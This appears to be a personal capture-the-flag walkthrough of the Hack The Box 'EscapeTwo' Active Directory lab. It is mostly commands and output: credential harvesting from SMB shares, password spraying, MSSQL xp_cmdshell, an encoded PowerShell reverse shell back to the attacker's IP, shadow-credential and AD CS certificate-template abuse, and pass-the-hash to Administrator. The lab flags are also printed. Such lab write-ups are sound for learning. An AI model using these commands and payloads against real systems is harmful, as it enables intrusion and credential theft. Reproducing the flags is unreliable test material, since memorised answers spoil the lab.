HTB Escape Two

help

TCP 88 (Kerberos): Kerberos uses this port for authentication in the Active Directory. From a penetration testing point of view, it can be a goldmine for ticket attacks like Pass-the-Ticket and Kerberoasting.

TCP 135 (RPC Endpoint Mapper): This TCP port is used for Remote Procedure Calls (RPC). It might be leveraged to identify services for lateral movement or remote code execution via DCOM.

TCP 139 (NetBIOS Session Service): This port is used for file sharing in older Windows systems. It can be abused for null sessions and information gathering.

TCP 389 (LDAP): This TCP port is used by the Lightweight Directory Access Protocol (LDAP). It is in plaintext and can be a prime target for enumerating AD objects, users, and policies.

TCP 445 (SMB): Critical for file sharing and remote admin; abused for exploits like EternalBlue, SMB relay attacks, and credential theft.

TCP 636 (LDAPS): This port is used by Secure LDAP. Although it is encrypted, it can still expose AD structure if misconfigured and can be abused via certificate-based attacks like AD CS exploitation.

edit /etc/hosts

- add the IP for sequel.htb

```
127.0.0.1   localhost
127.0.1.1   kali
::1     localhost ip6-localhost ip6-loopback
ff02::1     ip6-allnodes
ff02::2     ip6-allrouters

10.10.11.51     sequel.htb
```

nmap scan

enum4linux -a -u -p

smbmap

```
smbmap -u rose -p KxEPkKe6R8su -H 10.10.11.51
```

```
IP: 10.10.11.51:445 Name: 10.10.11.51                Status: Authenticated
        Disk                                                    Permissions
Comment
        ----                                                    -----------     ----
---
        Accounting Department                                   READ ONLY
        ADMIN$                                                  NO ACCESS
Remote Admin
        C$                                                      NO ACCESS
Default Share
        IPC$                                                    READ ONLY
Remote IPC
        NETLOGON                                                READ ONLY
Logon server share
        SYSVOL                                                  READ ONLY
Logon server share
        Users                                                   READ ONLY
```

access share

```
smbclient //10.10.11.51/"Accounting Department" -U
"SEQUEL\rose%KxEPkKe6R8su"
```

got passwords/usernames

```
First Name  Last Name   Email               Username    Password
Angela      Martin      angela@sequel.htb   angela      0fwz7Q4mSpurIt99
Oscar       Martinez    oscar@sequel.htb    oscar       86LxLBMgEWaKUnBG
Kevin       Malone      kevin@sequel.htb    kevin       Md9Wlq1E5bZnVDVo
NULL        NULL        sa@sequel.htb       sa          MSSQLP@ssw0rd!
```

```
smbclient //10.10.11.51/"Accounting Department" -U
"SEQUEL\angela%0fwz7Q4mSpurIt99"
```

```
smbclient //10.10.11.51/"Accounting Department" -U
"SEQUEL\oscar%86LxLBMgEWaKUnBG"
```

```
smbclient //10.10.11.51/"Accounting Department" -U
"SEQUEL\kevin%Md9Wlq1E5bZnVDVo"
```

```
smbclient //10.10.11.51/"Accounting Department" -U
"SEQUEL\sa%MSSQLP@ssw0rd!"
```

```
smbclient //10.10.11.51/Users -U "SEQUEL\oscar%86LxLBMgEWaKUnBG" -c
"prompt OFF; recurse ON; mget -a*
```

`find . -type f | while IFS= read -r file; do echo "===== Content of $file =====" cat "$file" echo -e "\n\n\nEND\n\n" done | grep -iE 'pass|flag'`

for ANGELA

`Access denied on 10.10.11.51, no fun for you...`

for OSCAR

```
[+] IP: 10.10.11.51:445 Name: 10.10.11.51               Status: Authenticated
        Disk                                                    Permissions
Comment
        ----                                                    -----------     ----
---
        Accounting Department                                   READ ONLY
        ADMIN$                                                  NO ACCESS
Remote Admin
        C$                                                      NO ACCESS
Default share
        IPC$                                                    READ ONLY
Remote IPC
        NETLOGON                                                READ ONLY
Logon server share
        SYSVOL                                                  READ ONLY
Logon server share
        Users                                                   READ ONLY
```

for KEVIN

```
Access denied on 10.10.11.51, no fun for you...
```

for sa

`Access denied on 10.10.11.51, no fun for you...`

look for "pass" "auth" "flag" using grep

```
grep -riE 'aquick' .
```

look for location of file

```
find . -type f -name 'NTUSER.DAT'
```

```
find / -type f -name "defaultlayout.xml" 2>/dev/null
```

look for content of multiple files

```
find . -type f -name "*.txt" | while IFS= read -r file; do
    echo "===== Content of $file ====="
    cat "$file"
    echo -e "\n\n\nEND\n\n"
done
```

inside oscar folder

`grep -riE 'pass' . grep: ./users/Default/NTUSER.DAT: binary file matches`

find file location and run strings on them

```
find . -type f -name 'NTUSER.DAT' -exec strings {} ;
□□□□
```

```
crackmapexec smb 10.10.11.51 -u rose -p KxEPkKe6R8su --shares --users --
groups --local-group
```

```
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019
Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)

[*] completed: 100.00% (1/1)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [-] Error enumerating shares:
The NETBIOS connection with the remote host timed out.
SMB         10.10.11.51     445    DC01             [+] Enumerated domain user(s)
SMB         10.10.11.51     445    DC01             sequel.htb\ca_svc
```

```
badpwdcount: 0 desc:
SMB         10.10.11.51     445    DC01             sequel.htb\rose
badpwdcount: 16 desc:
SMB         10.10.11.51     445    DC01             sequel.htb\sql_svc
badpwdcount: 0 desc:
SMB         10.10.11.51     445    DC01             sequel.htb\oscar
badpwdcount: 2 desc:
SMB         10.10.11.51     445    DC01             sequel.htb\ryan
badpwdcount: 0 desc:
SMB         10.10.11.51     445    DC01             sequel.htb\michael
badpwdcount: 1 desc:
SMB         10.10.11.51     445    DC01             sequel.htb\krbtgt
badpwdcount: 1 desc: Key Distribution Center Service Account
SMB         10.10.11.51     445    DC01             sequel.htb\Guest
badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB         10.10.11.51     445    DC01             sequel.htb\Administrator
badpwdcount: 0 desc: Built-in account for administering the computer/domain
```

```
crackmapexec smb 10.10.11.51 -u rose -p KxEPkKe6R8su --groups rose
```

```
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019
Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [+] Enumerated members of domain
group
```

```
crackmapexec smb 10.10.11.51 -u users.txt -p passwordlist.txt --continue-
on-success
```

```
find . -type f -iname 'NTUSER.DAT*' 2>/dev/null
```

```
find . -type f -iname '*.ini' 2>/dev/null | xargs -I {} sh -c 'cat "{}"; echo'
```

MSSQL use nxc, hydra

```
nxc mssql 10.10.11.51 -u users.txt -p passwordlist.txt --continue-on-success
```

```
hydra -L usersnew.txt -P passwordlist.txt mssql://10.10.11.51
```

- add `-t 1` to make HYDRA LESS NOISY
- for testing SMBv2

```
[/home/kali/tryhackme/thc-hydra]
└─# ./hydra -t 4 -L /home/kali/htb/attack2/users.txt -P
/home/kali/htb/attack2/passwordlist.txt smb2://10.10.11.51
```

"Pasted image 20250518200133.png" could not be found.

Login into MSSQL

```
impacket-mssqlclient 10.10.11.51/'sa:MSSQLP@ssw0rd!'@10.10.11.51
```

enable cmd_shell

```
enable_xp_cmdshell
```

(this will keep turning off after a while)

```
RECONFIGURE
```

RCE

listener on Kali

```
rlwrap nc -lvnp 9001
```

reverse shell from mssql

powershell base 64 encoded

- for reverse-shell select IP of Tun0 which is for HackTheBox

```
powershell -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0
ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAw
AC4AMQAwAC4AMQA2AC4ANQAzACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAP
QAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUA
WwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AH
cAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiA
HkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBu
AGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtA
FQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBF
AG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAA
wACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB
```

```
0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBk
AGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArA
CAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AG
UAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA
CkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdA
ByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAb
gBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMA
aAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
```

SQL CONFIG FILE

```
C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
```

Spray ONCE again after got NEW PASSWORD

```
(kali㉿kali)-[~/tryhackme/thc-hydra]
./hydra -t 4 -L /home/kali/htb/attack2/users.txt -P
/home/kali/htb/attack2/passwordlist.txt smb2://10.10.11.51
```

we get `[445][smb2] host: 10.10.11.51 login: ryan password: WqSZAF6CysDQbGb3`

Test WinRM

```
nxc winrm 10.10.11.51 -u users.txt -p passwordlist.txt --continue-on-success
```

```
WINRM       10.10.11.51     5985   DC01             [*] Windows 10 / Server 2019
Build 17763 (name:DC01) (domain:sequel.htb)
WINRM       10.10.11.51     5985   DC01             [-] sequel.htb\sa:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-] sequel.htb\rose:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\sql_svc:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\oscar:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-] sequel.htb\ryan:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\michael:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\angela:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\kevin:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\krbtgt:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\Guest:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\Administrator:KxEPkKe6R8su
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\sa:WqSZAF6CysDQbGb3
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\rose:WqSZAF6CysDQbGb3
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\sql_svc:WqSZAF6CysDQbGb3
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\oscar:WqSZAF6CysDQbGb3
WINRM       10.10.11.51     5985   DC01             [+]
sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
```

```
WINRM       10.10.11.51     5985   DC01             [-]
sequel.htb\michael:WqSZAF6CysDQbGb3
```

also can use crackmapexec

```
crackmapexec winrm 10.10.11.51 -u users.txt -p passwordlist.txt
```

Gain WinRM using Evil-winRM

```
evil-winrm -i 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
```

first flag

```
e9eb514f0f23e32f61733c8bc3f50fe3
```

Blood Hound

```
Directory: C:\Users\ryan\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/16/2025   9:49 PM          12062 20250516214913_BloodHound.zip
-a----         5/16/2025   9:49 PM           9210
NGZlZGJhNTUtZGMxZi00MzRhLTkxYzUtZWNjYjM1NGU4YzNl.bin
-a----         5/16/2025   9:48 PM        1046528 SharpHound.exe
```

Run BloodHound.exe

- inside C:\Users\ryan\Documents

```
.\SharpHound.exe -c all -o loot.zip
```

Download Bloodhound result to Kali

```
download "C:/Users/ryan/Documents/20250517064637_BloodHound.zip"
```

Delete old bloodhound session graphics/data

open neo4j terminal in browser `localhost:7474/browser`

clear data `MATCH (n) DETACH DELETE n`

ACTIVE DIRECTORY

change owner

```
impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc'
'10.10.11.51'/'ryan':'WqSZAF6CysDQbGb3'
```

grant full control

```
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target
'ca_svc' 10.10.11.51/ryan:WqSZAF6CysDQbGb3
```

PyWhisker create Shadow Creds

- creates new, attacker-controlled certificate & its metadata to link it to the target CA_SVC account

```
pywhisker -d 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3 --target "CA_SVC" --
action "add" --filename CACert --export PEM
```

Export the Certificate

```
gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem
10.10.11.51/ca_svc ca_svc.ccache
```

```
export KRB5CCNAME=ca_svc.ccache
```

You will GET HASH from ITS OUTPUT

```
gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem sequel.htb/ca_svc
ca_svc.ccache

2025-05-17 15:24:00,665 minikerberos INFO     Loading certificate and key from file
```

```
INFO:minikerberos:Loading certificate and key from file
2025-05-17 15:24:00,675 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-05-17 15:24:13,840 minikerberos INFO     AS-REP encryption key (you might need
this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-05-17 15:24:13,840 minikerberos INFO
a9ff193621883c20c5d5ba4e54bff62ea2f2db5a0444bdd53cf34ef1ed441492
INFO:minikerberos:a9ff193621883c20c5d5ba4e54bff62ea2f2db5a0444bdd53cf34ef1ed441492
2025-05-17 15:24:13,846 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
```

Get hash using getnthash.py

```
python getnthash.py -key
a9ff193621883c20c5d5ba4e54bff62ea2f2db5a0444bdd53cf34ef1ed441492
sequel.htb/CA_SVC
```

GET NT HASH

```
python getnthash.py -key
a9ff193621883c20c5d5ba4e54bff62ea2f2db5a0444bdd53cf34ef1ed441492 sequel.htb/CA_SVC
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
3b181b914e7a9d5508ea1e20bc2b7fce
```

Verify NetExec

```
netexec smb 10.10.11.51 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce -d
sequel.htb
```

ESC4 Vulnerability

finding vuln templates

```
certipy-ad find -vulnerable -u ca_svc@sequel.htb -hashes
3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51
```

- scan AD for cert templates, that vulnerable to various ESC (enrollment service compromise attacks)

backup

```
certipy-ad template -username 'ca_svc@sequel.htb' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -save-old
```

perform ESC1 exploit

```
certipy-ad req -username 'ca_svc@sequel.htb' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -template DunderMifflinAuthentication -upn administrator@sequel.htb
```

```
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 13
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

authorize and get NTLM of ADMIN

```
certipy-ad auth -pfx administrator.pfx -domain sequel.htb
```

```
certipy-ad auth -pfx administrator.pfx -domain sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb':
aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
```

login as Admin using NTLM

```
impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes
aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
```

inside C:\Users\Administrator\Desktop\root.txt

`cbc8c8f0cee4deb87e4928d7afb3be18`